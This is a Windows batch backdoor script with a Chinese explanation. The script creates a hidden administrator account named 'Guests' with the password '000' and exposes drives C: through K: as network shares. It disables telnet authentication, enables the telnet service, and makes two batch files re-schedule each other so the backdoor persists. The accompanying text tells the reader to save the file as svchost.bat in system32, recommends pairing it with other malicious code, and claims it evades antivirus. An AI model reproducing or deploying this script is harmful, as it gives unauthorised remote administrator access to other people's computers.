@echo off
@attrib +r +s system.bat
@net user Guests 000 /add
@net localgroup administrators Guests /add
@sc config lanmanserver start= auto
@net start server
@net share C$=C:
@net share D$=D:
@net share E$=E:
@net share F$=F:
@net share G$=G:
@net share H$=H:
@net share I$=I:
@net share J$=J:
@net share K$=K:
@tlntadmn config sec = -ntlm
rem 设定身份验证机构:不认证
@sc config Schedule start= auto
@net stop "Task Scheduler"
@net start "Task Scheduler"
@echo at 10:00 %systemroot%\SYSTEM32\svchost.bat > %systemroot%\SYSTEM32\system.bat
@echo at 20:00 %systemroot%\SYSTEM32\svchost.bat >> %systemroot%\SYSTEM32\system.bat
@at 10:03 %systemroot%\SYSTEM32\system.bat
@at 20:03 %systemroot%\SYSTEM32\system.bat
@sc config NtlmSsp start= auto
@net start NtlmSsp
@sc config RpcSs start= auto
@net start RpcSs
@sc config tlntsvr start= auto
@net stop telnet
@net start telnet
@exit
将上面代码保存为svchost.bat,在C:\windows\system32下执行,代码运行过程中会在同目录下生成system.bat文件,svchost.bat利用Task Scheduler任务计划在规定的时间内执行system.bat,而system.bat又利用任务计划在规定时间内再次执行svchost.bat,它们就这样反复激活着对方!目的就的创建用户名为Guests、密码为000的管理员帐户,然后激活telnet服务,使得远程控制者可以telnet进来。
这个批处理单独使用并不好(容易被消灭),需要和其他恶意代码结合使用……上面代码来自网络收集,我在测试过程中对它进行了完善:由于telnet服务的依存服务有NtlmSsp与RpcSs,所以在开启telnet服务前解禁它们,这样的成功概率会大得多!这是绝对免杀的。